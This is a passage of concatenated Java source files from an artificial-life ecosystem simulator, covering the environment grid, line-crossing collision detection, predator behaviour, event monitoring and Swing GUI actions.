(bounds.contains(monster.getLocation())) {\n monster.attachTo(this);\n creaturePool.add(monster);\n }\n }\n\n public final void add(final Resource resource) {\n if (bounds.contains(resource.getLocation())) {\n resource.attachTo(this);\n resourcePool.add(resource);\n }\n }\n\n\n /**\n * Add an agent collection to the environment.\n * The added agent will be monitored by corresponding case\n * and that till its death or till it moves from there\n *\n * @param monsters the agent collection\n */\n public final void addCreatures(Collection monsters) {\n for (Creature monster : monsters)\n add(monster);\n }\n\n public final void addResources(\n final Collection resources) {\n for (Resource resource : resources)\n add(resource);\n }\n\n private Set getCrossedArea(Point2D from, Point2D to) {\n Set crossedArea = new HashSet(\n AREA_ROW_NUMBER * AREA_COLUMN_NUMBER);\n for (Area[] row : space) {\n for (final Area area : row) {\n //line is totally contained by this area\n // OMG this is so COOL !\n if (area.contains(from) || area.contains(to)) {\n crossedArea.add(area);\n }\n }\n }\n return crossedArea;\n }\n\n long totalComparison = 0;\n\n /**\n *

\n * Iterate over one cycle.\n * The current process is described below :\n *

\n *
    \n *
  1. Update every agent in the creaturePool.
  2. \n *
  3. Remove all agent which died at this cycle
  4. \n *
  5. Increment timeline
  6. \n *
\n *

\n * Environment is ended if no more agents are alive at after the update step.\n *

\n */\n public final void runNextCycle() {\n if (timetracker == 0)\n getEventSupport().fireEvolutionEvent(EvolutionEvent.Type.STARTED);\n\n long start = System.nanoTime();\n //update environment state\n updatePool();\n logger.fine(String.format(\n \"Pool updated in %d milliseconds\",\n TimeUnit.NANOSECONDS.toMillis(System.nanoTime() - start)\n ));\n logger.fine(String.format(\n \"%d comparisons made in this cycle\",\n totalComparison\n ));\n totalComparison = 0;\n\n //update timeline\n logger.info(String.format(\n \"%s 's cycle %d ended, %d agents remaining\",\n this,\n timetracker,\n creaturePool.size()));\n timetracker++;\n getEventSupport().fireEvolutionEvent(EvolutionEvent.Type.CYCLE_END);\n\n if (creaturePool.size() == 0) {\n endThisWorld();\n }\n }\n\n /**\n * Update the environment's state\n * Internal process.\n */\n private void updatePool() {\n\n //update all agents\n //if they die, they are simply not kept in the next creaturePool\n for (Creature monster : creaturePool) {\n monster.update(this);\n }\n for (int i = 0; i < creaturePool.size(); )\n if (!creaturePool.get(i).isAlive())\n creaturePool.remove(i);\n else\n i++;\n\n creaturePool.addAll(nextGenerationBuffer);\n nextGenerationBuffer.clear();\n }\n\n /**\n * Method to end the evolution of this world\n * and freeze its state\n */\n public final void endThisWorld() {\n logger.info(String.format(\"The evolution's game paused. %s's statistics[%d cycle]\", this, timetracker));\n getEventSupport().fireEvolutionEvent(EvolutionEvent.Type.ENDED);\n }\n\n @Override\n public String toString() {\n return String.format(\"Environment#%s\", Long.toHexString(id));\n }\n\n @Override\n public Environment clone() {\n Environment copy = new Environment(getBounds().getWidth(), getBounds().getHeight());\n for (Creature monster : creaturePool)\n copy.add(monster.clone());\n for (Resource resource : resourcePool)\n copy.add(resource.clone());\n for (int i = 0; i < copy.space.length; i++)\n for (int j = 0; j < copy.space[0].length; j++)\n copy.space[i][j].internalDrawHistory.addAll(\n space[i][j].internalDrawHistory);\n return copy;\n }\n\n /*=====================================================================\n * LISTENERS\n *=====================================================================\n */\n\n public void addAgentListener(AgentListener listener) {\n getEventSupport().addAgentListener(listener);\n }\n\n public void addLineListener(LineListener listener) {\n getEventSupport().addLineListener(listener);\n }\n\n public void addEvolutionListener(EvolutionListener listener) {\n getEventSupport().addEvolutionListener(listener);\n }\n\n public void nextGeneration(Creature child) {\n child.attachTo(this);\n nextGenerationBuffer.push(child);\n }\n\n long comparison = 0;\n\n public boolean move(Creature that, Point2D from, Point2D to) {\n Set crossedAreas = getCrossedArea(from, to);\n boolean collision = false;\n for (Area area : crossedAreas) {\n collision = area.trace(that, from, to) || collision;\n }\n logger.finer(String.format(\n \"%d comparison to place a line\",\n comparison\n ));\n totalComparison += comparison;\n comparison = 0;\n return collision;\n }\n\n public void removeAgentListener(AgentListener listener) {\n getEventSupport().removeAgentListener(listener);\n }\n\n public void removeEvolutionListener(EvolutionListener listener) {\n getEventSupport().removeEvolutionListener(listener);\n }\n\n public void removeLineListener(LineListener listener) {\n getEventSupport().removeLineListener(listener);\n }\n\n public EnvironmentMonitor getEventSupport() {\n if (eventSupport == null)\n eventSupport = new EnvironmentMonitor(this);\n return eventSupport;\n }\n\n public void clearAllExternalsListeners() {\n eventSupport.clearAllExternalsListeners();\n }\n\n @Override\n public void update(AgentEvent e) {\n switch (e.getType()) {\n case DEATH:\n if (e.getAgent() instanceof Resource) {\n resourcePool.remove(e.getAgent());\n break;\n }\n }\n }\n\n public SenseResult aggregateInformation(Geometry.Circle circle) {\n Collection> detectedAgents = new LinkedList>();\n for (Creature monster : creaturePool)\n if (circle.contains(monster.getLocation())\n && !(monster.getLocation().distance(circle.getCenter()) < EPSILON)) {\n double agentOrientation =\n computeOrientation(\n circle.getCenter(),\n monster.getLocation());\n detectedAgents.add(detected(agentOrientation, monster));\n }\n Collection> detectedResources = new LinkedList>();\n for (Resource resource : resourcePool)\n if (circle.contains(resource.getLocation())\n && !(resource.getLocation().distance(circle.getCenter()) < EPSILON)) {\n double resourceOrientation =\n computeOrientation(\n circle.getCenter(),\n resource.getLocation());\n detectedResources.add(detected(resourceOrientation, resource));\n }\n\n return new SenseResult(detectedAgents, detectedResources);\n }\n\n /**\n *

\n * Component designed to represent a state of a grid space\n * It can be consider as a small viewport of the global space.\n * It has the ability to monitor agent in its area,\n * for example it can provide useful information\n * - like the number of close agents\n * - how close they are\n * - which they are\n * to its own population within its area\n *

\n *\n * @author \n * @version 1.0-alpha - Tue May 24 23:49:57 CEST 2011\n */\n public class Area\n extends Rectangle2D.Double\n implements Serializable {\n\n private Collection internalDrawHistory = new LinkedList();\n\n public Area(double x, double y, double w, double h) {\n super(x, y, w, h);\n }\n\n public Collection getHistory() {\n return internalDrawHistory;\n }\n\n /**\n * Add a line to draw in the drawn line history.\n * It determines if the given line cross an already drawn one,\n * if that event happens, it will save a line from given line's origin to the intersection point\n *\n * @param line line to draw\n * @return true if draughtsman must be die after his movement,\n * false otherwise.\n */\n public boolean trace(Creature that, Point2D from, Point2D to) {\n Line2D agentLine = TraceHandler.trace(from, to, that);\n //go fly away little birds, you no longer belong to me ...\n if (!bounds.contains(to)) {\n //detect which border has been crossed and where\n for (Line2D border : boundLines) {\n Point2D intersection = getIntersection(border, agentLine);\n\n if (intersection != null) {\n Line2D realLine = TraceHandler.trace(from, intersection, that);\n //We add a drawn line from agent's old location till intersection\n internalDrawHistory.add(realLine);\n\n getEventSupport().fireLineEvent(LineEvent.Type.ADDED, realLine);\n //Yes, unfortunately, the agent died - this is Sparta here dude\n return true;\n }\n }\n throw new RuntimeException(\"Border detection failed\");\n }\n\n //no intersection can happen with this option\n if (Configuration.getParameter(LINE_OBSTRUCTION_OPTION, Boolean.class)) {\n\n for (Line2D historyLine : internalDrawHistory) {\n //check if this line can cross the history line before computing intersection (compute is cheaper)\n if (!TraceHandler.canCross(agentLine, historyLine)) {\n Point2D intersection = getIntersection(historyLine, agentLine);\n if (intersection != null\n //Intersection with the line's start is not an intersection\n && !intersection.equals(from)) {\n Line2D realLine = TraceHandler.trace(from, intersection, that);\n //We add a drawn line from agent's old location till intersection\n internalDrawHistory.add(realLine);\n getEventSupport().fireLineEvent(LineEvent.Type.ADDED, realLine);\n //Yes, unfortunately, the agent died - this is Sparta here dude\n return true;\n }\n }\n }\n\n }\n\n //Everything went better than expected\n internalDrawHistory.add(agentLine);\n getEventSupport().fireLineEvent(LineEvent.Type.ADDED, agentLine);\n return false;\n }\n }\n\n\n}/ecosystem-framework/src/main/java/org/blackpanther/ecosystem/agent/AgentConstants.java\npackage org.blackpanther.ecosystem.agent;\n\n/**\n * @author \n * @version 1.0-alpha - Tue May 24 23:49:57 CEST 2011\n */\npublic interface AgentConstants {\n\n public static final String AGENT_LOCATION = \"agent-location\";\n\n public static final String[] AGENT_STATE = new String[]{\n AGENT_LOCATION\n };\n public static final String[] BUILD_PROVIDED_AGENT_STATE = new String[]{\n AGENT_LOCATION,\n };\n\n}\n/gui-ecosystem/src/main/java/org/blackpanther/ecosystem/gui/actions/LoadConfigurationAction.java\npackage org.blackpanther.ecosystem.gui.actions;\n\nimport javax.swing.*;\nimport javax.swing.filechooser.FileNameExtensionFilter;\nimport java.awt.*;\nimport java.awt.event.ActionEvent;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.util.Properties;\n\nimport static org.blackpanther.ecosystem.Configuration.Configuration;\nimport static org.blackpanther.ecosystem.gui.GUIMonitor.Monitor;\n\n/**\n * @author \n * @version 1.0-alpha - Tue May 24 23:49:58 CEST 2011\n */\npublic class LoadConfigurationAction extends AbstractAction {\n\n private JFileChooser fileLoader = new JFileChooser(\".\"); // Start in current directory\n\n private LoadConfigurationAction() {\n super(\"Load default parameters\");\n fileLoader.setFileFilter(new FileNameExtensionFilter(\n \"Application properties\", \"properties\"\n ));\n fileLoader.setFileSelectionMode(JFileChooser.FILES_ONLY);\n fileLoader.setMultiSelectionEnabled(false);\n }\n\n private static class LoadConfigurationHolder {\n private static final LoadConfigurationAction instance =\n new LoadConfigurationAction();\n }\n\n public static LoadConfigurationAction getInstance() {\n return LoadConfigurationHolder.instance;\n }\n\n @Override\n public void actionPerformed(ActionEvent e) {\n Monitor.pauseEvolution();\n Component parent = ((Component) e.getSource()).getParent();\n switch (fileLoader.showOpenDialog(parent)) {\n case JFileChooser.APPROVE_OPTION:\n try {\n Properties loadedProperties = new Properties();\n loadedProperties.load(\n new FileReader(fileLoader.getSelectedFile())\n );\n Configuration.loadConfiguration(loadedProperties);\n JOptionPane.showMessageDialog(\n parent,\n Configuration.toString(),\n \"Properties successfully loaded\",\n JOptionPane.INFORMATION_MESSAGE\n );\n } catch (FileNotFoundException e1) {\n JOptionPane.showMessageDialog(\n parent,\n \"Property file not found\" + e1.getLocalizedMessage(),\n \"Properties not loaded\",\n JOptionPane.ERROR_MESSAGE\n );\n } catch (IOException e1) {\n JOptionPane.showMessageDialog(\n parent,\n \"Couldn't read your property file : \" + e1.getLocalizedMessage(),\n \"Properties not loaded\",\n JOptionPane.ERROR_MESSAGE\n );\n }\n }\n }\n}\n/gui-ecosystem/src/main/java/org/blackpanther/ecosystem/gui/actions/ChangeBackgroundColor.java\npackage org.blackpanther.ecosystem.gui.actions;\n\nimport org.blackpanther.ecosystem.gui.WorldFrame;\n\nimport javax.swing.*;\nimport java.awt.*;\nimport java.awt.event.ActionEvent;\n\nimport static org.blackpanther.ecosystem.gui.GUIMonitor.Monitor;\n\n/**\n * @author \n * @version 27/05/11\n */\npublic class ChangeBackgroundColor\n extends AbstractAction {\n\n private ChangeBackgroundColor(){\n super(\"Change background color\");\n }\n\n private static class ChangeBackgroundColorHolder {\n private static final ChangeBackgroundColor instance =\n new ChangeBackgroundColor();\n }\n\n public static ChangeBackgroundColor getInstance(){\n return ChangeBackgroundColorHolder.instance;\n }\n\n @Override\n public void actionPerformed(ActionEvent e) {\n Color selectedColor = JColorChooser.showDialog(\n WorldFrame.getInstance(),\n \"Choose agent identifier\",\n Color.LIGHT_GRAY);\n if (selectedColor != null) {\n Monitor.setBackgroundColor(selectedColor);\n }\n }\n}\n/ecosystem-framework/src/main/java/org/blackpanther/ecosystem/behaviour/BehaviorManager.java\npackage org.blackpanther.ecosystem.behaviour;\n\nimport org.blackpanther.ecosystem.Environment;\nimport org.blackpanther.ecosystem.agent.Creature;\n\nimport java.io.Serializable;\n\n/**\n *

\n * Strategy Pattern Design.\n * Agent's behavior delegate operations to this interface\n * to update at each cycle, and to interact with the {@link org.blackpanther.ecosystem.Environment}\n * and thus other {@link org.blackpanther.ecosystem.agent.Agent}\n *

\n *\n * @author \n * @version 1.0-alpha - Tue May 24 23:49:57 CEST 2011\n */\npublic interface BehaviorManager\n extends Serializable {\n\n /**\n * Update agent state in given {@link org.blackpanther.ecosystem.Environment}\n *\n * @param env environment in which the agent evolves\n * @param that monitored agent\n */\n void update(Environment env, Creature that);\n\n}\n/gui-ecosystem/src/main/java/org/blackpanther/ecosystem/gui/formatter/RangeModels.java\npackage org.blackpanther.ecosystem.gui.formatter;\n\nimport org.blackpanther.ecosystem.math.Geometry;\n\nimport javax.swing.*;\n\n/**\n * @author \n * @version 1.0-alpha - Tue May 24 23:49:58 CEST 2011\n */\npublic final class RangeModels {\n\n private RangeModels() {\n }\n\n //Domain : [|0,POS_INF|]\n public static SpinnerNumberModel generatePositiveIntegerModel() {\n return generateIntegerModel(0,Integer.MAX_VALUE);\n }\n\n public static SpinnerNumberModel generateIntegerModel(int min, int max) {\n return new SpinnerNumberModel(\n min,\n min,\n max,\n 1);\n }\n\n //Domain : [|0,POS_INF|]\n public static SpinnerNumberModel generatePositiveDoubleModel() {\n return generateDoubleModel(0.0, Double.MAX_VALUE);\n }\n\n //Domain : [|0,POS_INF|]\n public static SpinnerNumberModel generateDoubleModel() {\n return generateDoubleModel(null, null);\n }\n\n // Domain : Real\n public static SpinnerNumberModel generateDoubleModel(Double min, Double max) {\n return new SpinnerNumberModel(\n 0.0,\n min == null ? -Double.MAX_VALUE : min,\n max == null ? Double.MAX_VALUE : max,\n 1.0);\n }\n\n // Domain : [0.0,1.0]\n public static SpinnerNumberModel generatePercentageModel() {\n return new SpinnerNumberModel(\n 0.0,\n 0.0,\n 1.0,\n 0.1);\n }\n\n // Domain : [0.0,2PI]\n public static SpinnerNumberModel generateAngleModel() {\n return new SpinnerNumberModel(\n 0.0,\n 0.0,\n Geometry.PI_2.doubleValue(),\n 0.1);\n }\n}\n/gui-ecosystem/src/main/java/org/blackpanther/ecosystem/gui/GUIMonitor.java\npackage org.blackpanther.ecosystem.gui;\n\nimport org.blackpanther.ecosystem.Environment;\nimport org.blackpanther.ecosystem.agent.Creature;\nimport org.blackpanther.ecosystem.agent.Resource;\nimport org.blackpanther.ecosystem.factory.fields.FieldsConfiguration;\nimport org.blackpanther.ecosystem.gui.actions.EnvironmentSaveBackup;\nimport org.blackpanther.ecosystem.gui.commands.EnvironmentCommands;\nimport org.blackpanther.ecosystem.gui.lightweight.EnvironmentInformation;\nimport org.blackpanther.ecosystem.gui.settings.EnvironmentBoard;\n\nimport java.awt.*;\nimport java.awt.image.BufferedImage;\nimport java.util.Collection;\n\nimport static org.blackpanther.ecosystem.Configuration.*;\nimport static org.blackpanther.ecosystem.helper.Helper.require;\n\n/**\n * @author \n * @version 1.0-alpha - Tue May 24 23:49:58 CEST 2011\n */\npublic enum GUIMonitor {\n Monitor;\n\n private GraphicEnvironment drawPanel;\n private EnvironmentBoard environmentBoard;\n private EnvironmentCommands environmentCommandsPanel;\n\n /*=========================================================================\n REGISTER\n =========================================================================*/\n\n public void registerEnvironmentCommandsPanel(EnvironmentCommands environmentCommands) {\n this.environmentCommandsPanel = environmentCommands;\n }\n\n public void registerDrawPanel(GraphicEnvironment panel) {\n this.drawPanel = panel;\n }\n\n public void registerEnvironmentInformationPanel(EnvironmentBoard environmentBoard) {\n this.environmentBoard = environmentBoard;\n }\n\n /*=========================================================================\n MESSAGES\n =========================================================================*/\n\n /**\n * Update all panels that an environment has been removed\n */\n public void removeEnvironment() {\n require(drawPanel != null);\n require(environmentBoard != null);\n drawPanel.unsetEnvironment();\n environmentBoard.clearBoard();\n environmentCommandsPanel.environmentUnset();\n }\n\n /**\n * Update all panels that an environment has been set\n */\n public void setCurrentEnvironment(Environment env) {\n require(drawPanel != null);\n require(environmentBoard != null);\n drawPanel.setEnvironment(env);\n environmentBoard.updateInformation(\n EnvironmentInformation.dump(env, EnvironmentInformation.State.NOT_YET_STARTED));\n environmentBoard.updateInformation(Configuration);\n environmentCommandsPanel.environmentSet();\n }\n\n public void updateSettingFields(FieldsConfiguration configuration) {\n require(environmentBoard != null);\n environmentBoard.updateInformation(Configuration);\n environmentBoard.updateInformation(configuration);\n }\n\n /**\n * Notify information panel of current environment state\n */\n public void updateEnvironmentInformation(Environment env, EnvironmentInformation.State state) {\n require(environmentBoard != null);\n require(drawPanel != null);\n require(environmentCommandsPanel != null);\n environmentBoard.updateInformation(EnvironmentInformation.dump(env, state));\n switch (state) {\n case PAUSED:\n case FROZEN:\n environmentCommandsPanel.notifyPause();\n drawPanel.stopSimulation();\n break;\n }\n }\n\n /**\n * Update evolution flow according to user interaction on evolution's button\n */\n public void interceptEnvironmentEvolutionFlow(String buttonLabel) {\n require(drawPanel != null);\n if (buttonLabel.equals(EnvironmentCommands.START_ENVIRONMENT)) {\n drawPanel.runSimulation();\n environmentBoard.notifyRun();\n } else if (buttonLabel.equals(EnvironmentCommands.STOP_ENVIRONMENT)) {\n environmentBoard.notifyPause();\n drawPanel.stopSimulation();\n }\n }\n\n /**\n * Update panel option\n */\n public void updateOption(int option, boolean activated) {\n require(drawPanel != null);\n drawPanel.setOption(option, activated);\n }\n\n public void toggleOption(int option) {\n require(drawPanel != null);\n drawPanel.setOption(option, !drawPanel.isActivated(option));\n }\n\n public void paintBounds(boolean shouldBePainted) {\n updateOption(GraphicEnvironment.BOUNDS_OPTION, shouldBePainted);\n }\n\n public void paintResources(boolean shouldBePainted) {\n updateOption(GraphicEnvironment.RESOURCE_OPTION, shouldBePainted);\n }\n\n public void paintCreatures(boolean shouldBePainted) {\n updateOption(GraphicEnvironment.CREATURE_OPTION, shouldBePainted);\n }\n\n /**\n * delegator to fetch panel's image\n */\n public BufferedImage dumpCurrentImage() {\n return drawPanel.dumpCurrentImage();\n }\n\n /**\n * delegator to fetch panel's environment\n */\n public Environment dumpCurrentEnvironment() {\n return drawPanel.dumpCurrentEnvironment();\n }\n\n /**\n * delegator to fetch setting's configuration\n */\n public FieldsConfiguration fetchConfiguration() {\n require(environmentBoard != null);\n return environmentBoard.createConfiguration();\n }\n\n /**\n * Global pause action,\n * ordered by internal components\n */\n public void pauseEvolution() {\n require(drawPanel != null);\n require(environmentBoard != null);\n require(environmentCommandsPanel != null);\n drawPanel.stopSimulation();\n environmentBoard.notifyPause();\n environmentCommandsPanel.notifyPause();\n }\n\n /**\n * Set a new, clean environment\n */\n public void resetEnvironment() {\n require(environmentBoard != null);\n removeEnvironment();\n //pray for that instruction to make things more delightful\n System.gc();\n environmentBoard.updateConfiguration();\n Environment env = new Environment(\n Configuration.getParameter(SPACE_WIDTH, Double.class),\n Configuration.getParameter(SPACE_HEIGHT, Double.class)\n );\n setCurrentEnvironment(env);\n }\n\n /**\n * delegator to set panel's background color\n */\n public void setBackgroundColor(Color color) {\n require(drawPanel != null);\n drawPanel.applyBackgroundColor(color);\n }\n\n /**\n * delegator to set panel's agent drop mode\n */\n public void setDropMode(GraphicEnvironment.DropMode mode) {\n require(drawPanel != null);\n drawPanel.setDropMode(mode);\n }\n\n public void addCreatures(Collection creatures) {\n require(drawPanel != null);\n drawPanel.addCreatures(creatures);\n }\n\n public void addResources(Collection creatures) {\n require(drawPanel != null);\n drawPanel.addResources(creatures);\n }\n\n public void makeBackup(Environment env) {\n EnvironmentSaveBackup.getInstance().backup(\n env,\n Configuration,\n environmentBoard.createConfiguration()\n );\n }\n\n public FieldsConfiguration dumpFieldsConfiguration() {\n return environmentBoard.createConfiguration();\n }\n\n public void updateLineWidthLinear(double value) {\n drawPanel.changeLineWidthLinear(value);\n }\n\n public void updateLineWidthExponential(double value) {\n drawPanel.changeLineWidthExponential(value);\n }\n\n public void changeColorRatio(double v) {\n drawPanel.changeRatio(v);\n }\n}\n/ecosystem-framework/src/main/java/org/blackpanther/ecosystem/factory/fields/StateFieldMould.java\npackage org.blackpanther.ecosystem.factory.fields;\n\nimport org.blackpanther.ecosystem.factory.generator.ValueProvider;\n\n/**\n * @author \n * @version 1.0-alpha - Tue May 24 23:49:57 CEST 2011\n */\npublic class StateFieldMould\n extends FieldMould {\n\n public StateFieldMould(String name, ValueProvider valueProvider) {\n super(name, valueProvider);\n }\n}\n/gui-ecosystem/src/main/java/org/blackpanther/ecosystem/gui/settings/fields/SettingField.java\npackage org.blackpanther.ecosystem.gui.settings.fields;\n\nimport org.blackpanther.ecosystem.factory.fields.FieldMould;\n\nimport javax.swing.*;\nimport java.awt.*;\n\nimport static org.blackpanther.ecosystem.helper.Helper.createLabeledField;\n\n/**\n * @author \n * @version 1.0-alpha - Tue May 24 23:49:59 CEST 2011\n */\npublic abstract class SettingField\n extends JPanel {\n public static final Dimension CHECKBOX_DIMENSION = new Dimension(25, 50);\n public static final Dimension FIELD_DIMENSION = new Dimension(60, 50);\n\n\n protected SettingField(String name) {\n super();\n initializeComponents(name);\n setLayout(new GridBagLayout());\n placeComponents(this);\n }\n\n abstract protected void initializeComponents(String fieldName);\n\n protected void placeComponents(JPanel layout) {\n GridBagConstraints constraints = new GridBagConstraints();\n\n constraints.ipadx = 20;\n constraints.fill = GridBagConstraints.HORIZONTAL;\n layout.add(createLabeledField(\n getMainComponent().getName(),\n getMainComponent()\n ), constraints);\n }\n\n public abstract JComponent getMainComponent();\n\n abstract public void setValue(T newValue);\n\n abstract public T getValue();\n\n abstract public FieldMould toMould();\n}\n/ecosystem-framework/src/main/java/org/blackpanther/ecosystem/event/EnvironmentMonitor.java\npackage org.blackpanther.ecosystem.event;\n\nimport org.blackpanther.ecosystem.agent.Agent;\nimport org.blackpanther.ecosystem.Environment;\n\nimport java.awt.geom.Line2D;\nimport java.io.ObjectOutputStream;\nimport java.io.Serializable;\nimport java.util.HashSet;\nimport java.util.Iterator;\nimport java.util.Set;\n\n/**\n * @author \n * @version 1.0-alpha - Tue May 24 23:49:57 CEST 2011\n */\npublic class EnvironmentMonitor\n implements Serializable {\n /**\n * Line's event listeners\n */\n private Set lineListeners =\n new HashSet();\n private Set evolutionListeners =\n new HashSet();\n private Set agentListeners =\n new HashSet();\n\n private Environment source;\n\n public EnvironmentMonitor(Environment sourceEnvironment) {\n this.source = sourceEnvironment;\n }\n\n /*=========================================================================\n SERIALIZATION\n =========================================================================*/\n\n public void clearAllExternalsListeners(){\n lineListeners.clear();\n evolutionListeners.clear();\n Iterator it = agentListeners.iterator();\n while (it.hasNext())\n if (!(it.next() instanceof Environment))\n it.remove();\n }\n\n /*=========================================================================\n LISTENER HOOK\n =========================================================================*/\n\n public void addAgentListener(AgentListener listener) {\n agentListeners.add(listener);\n }\n\n public void addLineListener(LineListener listener) {\n lineListeners.add(listener);\n }\n\n public void addEvolutionListener(EvolutionListener listener) {\n evolutionListeners.add(listener);\n }\n\n /*=========================================================================\n EVENT DELEGATE\n =========================================================================*/\n\n\n public void fireAgentEvent(AgentEvent.Type eventType, Agent value) {\n AgentEvent event = new AgentEvent(eventType, source, value);\n for (AgentListener listener : agentListeners) {\n listener.update(event);\n }\n }\n\n public void fireLineEvent(LineEvent.Type eventType, Line2D value) {\n LineEvent event = new LineEvent(eventType, source, value);\n for (LineListener listener : lineListeners) {\n listener.update(event);\n }\n }\n\n public void fireEvolutionEvent(EvolutionEvent.Type eventType) {\n EvolutionEvent event = new EvolutionEvent(eventType, source);\n for (EvolutionListener listener : evolutionListeners) {\n listener.update(event);\n }\n }\n\n public void removeAgentListener(AgentListener listener) {\n agentListeners.remove(listener);\n }\n\n public void removeEvolutionListener(EvolutionListener listener) {\n evolutionListeners.remove(listener);\n }\n\n public void removeLineListener(LineListener listener) {\n lineListeners.remove(listener);\n }\n}/gui-ecosystem/src/main/java/org/blackpanther/ecosystem/gui/settings/fields/randomable/Randomable.java\npackage org.blackpanther.ecosystem.gui.settings.fields.randomable;\n\n/**\n * @author \n * @version 1.0-alpha - Tue May 24 23:49:59 CEST 2011\n */\ninterface Randomable {\n public boolean isRandomized();\n}\n/ecosystem-framework/src/main/java/org/blackpanther/ecosystem/factory/generator/random/DoubleProvider.java\npackage org.blackpanther.ecosystem.factory.generator.random;\n\nimport org.blackpanther.ecosystem.Configuration;\nimport org.blackpanther.ecosystem.factory.generator.RandomProvider;\n\n/**\n * @author \n * @version 1.0-alpha - Tue May 24 23:49:58 CEST 2011\n */\npublic class DoubleProvider\n extends RandomProvider {\n\n private double min;\n private double max;\n\n public DoubleProvider(double min, double max) {\n this.min = min;\n this.max = max;\n }\n\n @Override\n public Double getValue() {\n return min +\n Configuration.Configuration.getRandom().nextDouble()\n * (max - min);\n }\n}\n/ecosystem-framework/src/main/java/org/blackpanther/ecosystem/behaviour/PredatorBehaviour.java\npackage org.blackpanther.ecosystem.behaviour;\n\nimport org.blackpanther.ecosystem.Environment;\nimport org.blackpanther.ecosystem.SenseResult;\nimport org.blackpanther.ecosystem.SensorTarget;\nimport org.blackpanther.ecosystem.agent.Agent;\nimport org.blackpanther.ecosystem.agent.Creature;\n\nimport java.awt.geom.Point2D;\nimport java.util.Collection;\nimport java.util.Iterator;\n\nimport static java.lang.Math.PI;\nimport static org.blackpanther.ecosystem.agent.Agent.CREATURE_GREED;\nimport static org.blackpanther.ecosystem.agent.CreatureConstants.CREATURE_CONSUMMATION_RADIUS;\nimport static org.blackpanther.ecosystem.math.Geometry.PI_2;\n\n/**\n * @author \n * @version 1.0-alpha - Tue May 24 23:49:57 CEST 2011\n */\npublic class PredatorBehaviour\n extends DraughtsmanBehaviour {\n\n private PredatorBehaviour(){}\n\n private static class PredatorBehaviourHolder {\n private static final PredatorBehaviour instance =\n new PredatorBehaviour();\n }\n\n public static PredatorBehaviour getInstance(){\n return PredatorBehaviourHolder.instance;\n }\n\n @Override\n protected void react(Environment env, Creature that, SenseResult analysis) {\n SensorTarget closestPrey =\n getClosestPrey(that.getLocation(), analysis.getNearCreatures());\n\n //run after closest prey\n if (closestPrey != null && closestPrey.getTarget().isAlive()) {\n\n //check if we can still move and reach the target\n double resourceDistance = that.getLocation().distance(closestPrey.getTarget().getLocation());\n if (resourceDistance < that.getGene(CREATURE_CONSUMMATION_RADIUS, Double.class)) {\n\n //we eat it\n that.setEnergy(that.getEnergy() + closestPrey.getTarget().getEnergy());\n that.setColor(\n ( that.getColor().getRed() + closestPrey.getTarget().getColor().getRed() ) / 2,\n ( that.getColor().getGreen() + closestPrey.getTarget().getColor().getGreen() ) / 2,\n ( that.getColor().getBlue() + closestPrey.getTarget().getColor().getBlue() ) / 2\n );\n closestPrey.getTarget().detachFromEnvironment(env);\n\n }\n\n //otherwise get closer\n else {\n double lust = that.getGene(CREATURE_GREED, Double.class);\n double alpha = (that.getOrientation() % PI_2);\n double beta = closestPrey.getOrientation();\n double resourceRelativeOrientation = (beta - alpha);\n if (resourceRelativeOrientation > PI)\n resourceRelativeOrientation -= PI_2;\n else if (resourceRelativeOrientation < -PI)\n resourceRelativeOrientation += PI_2;\n double newOrientation = (alpha + resourceRelativeOrientation * lust) % PI_2;\n\n that.setOrientation(newOrientation);\n }\n }\n\n //their only goals is to eat agent, not resources\n }\n\n private SensorTarget getClosestPrey(Point2D source, Collection> agents) {\n Iterator> it = agents.iterator();\n SensorTarget closest = null;\n double closestDistance = Double.MAX_VALUE;\n while (it.hasNext()) {\n SensorTarget monster = it.next();\n\n //detect only preys\n if (PreyBehaviour.class.isInstance(\n monster.getTarget()\n .getGene(Agent.CREATURE_BEHAVIOR, BehaviorManager.class))) {\n\n double distance = source.distance(monster.getTarget().getLocation());\n\n if (closest == null) {\n closest = monster;\n closestDistance = distance;\n } else {\n if (distance < closestDistance) {\n closest = monster;\n closestDistance = distance;\n }\n }\n }\n }\n\n return closest;\n }\n}\n/ecosystem-framework/src/main/java/org/blackpanther/ecosystem/agent/Resource.java\npackage org.blackpanther.ecosystem.agent;\n\nimport org.blackpanther.ecosystem.Environment;\nimport org.blackpanther.ecosystem.factory.fields.FieldsConfiguration;\n\nimport static org.blackpanther.ecosystem.factory.fields.FieldsConfiguration.checkResourceConfiguration;\n\n/**\n * @author \n * @version 1.0-alpha - Tue May 24 23:49:57 CEST 2011\n */\npublic class Resource\n extends Agent\n implements ResourceConstants {\n\n public Resource(FieldsConfiguration config) {\n super(config);\n checkResourceConfiguration(config);\n for (String stateTrait : BUILD_PROVIDED_RESOURCE_STATE)\n currentState.put(stateTrait, config.getValue(stateTrait));\n\n for (String genotypeTrait : RESOURCE_GENOTYPE) {\n genotype.put(genotypeTrait, config.getValue(genotypeTrait));\n mutableTable.put(genotypeTrait, config.isMutable(Resource.class, genotypeTrait));\n }\n }\n\n /**\n * A resource don't update\n */\n @Override\n public void update(Environment env) {\n }\n\n @Override\n public double getEnergy() {\n return getState(RESOURCE_ENERGY, Double.class);\n }\n\n @Override\n public void setEnergy(Double energy) {\n currentState.put(RESOURCE_ENERGY, energy < 0.0\n ? 0.0\n : energy);\n }\n\n @Override\n public Resource clone() {\n return (Resource) super.clone();\n }\n\n @Override\n public String toString() {\n return super.toString();\n }\n}\n/ecosystem-framework/src/main/java/org/blackpanther/ecosystem/factory/ResourceFactory.java\npackage org.blackpanther.ecosystem.factory;\n\nimport org.blackpanther.ecosystem.agent.Resource;\nimport org.blackpanther.ecosystem.factory.fields.FieldsConfiguration;\n\n/**\n * @author \n * @version 1.0-alpha - Tue May 24 23:49:57 CEST 2011\n */\npublic class ResourceFactory\n extends EnvironmentFactory {\n\n ResourceFactory() {\n }\n\n @Override\n public Resource createAgent(FieldsConfiguration config) {\n return new Resource(config);\n }\n\n}\n/gui-ecosystem/src/main/java/org/blackpanther/ecosystem/app/Launcher.java\npackage org.blackpanther.ecosystem.app;\n\nimport org.blackpanther.ecosystem.gui.WorldFrame;\n\nimport javax.swing.*;\nimport java.io.IOException;\nimport java.util.logging.LogManager;\n\n/**\n * @author \n * @version 1.0-alpha - Tue May 24 23:49:59 CEST 2011\n */\npublic class Launcher {\n\n public static void main(String[] args) {\n //Show them our wonderful GUI\n createAndShowGUI();\n }\n\n public static void createAndShowGUI() {\n try {\n LogManager.getLogManager().readConfiguration(\n 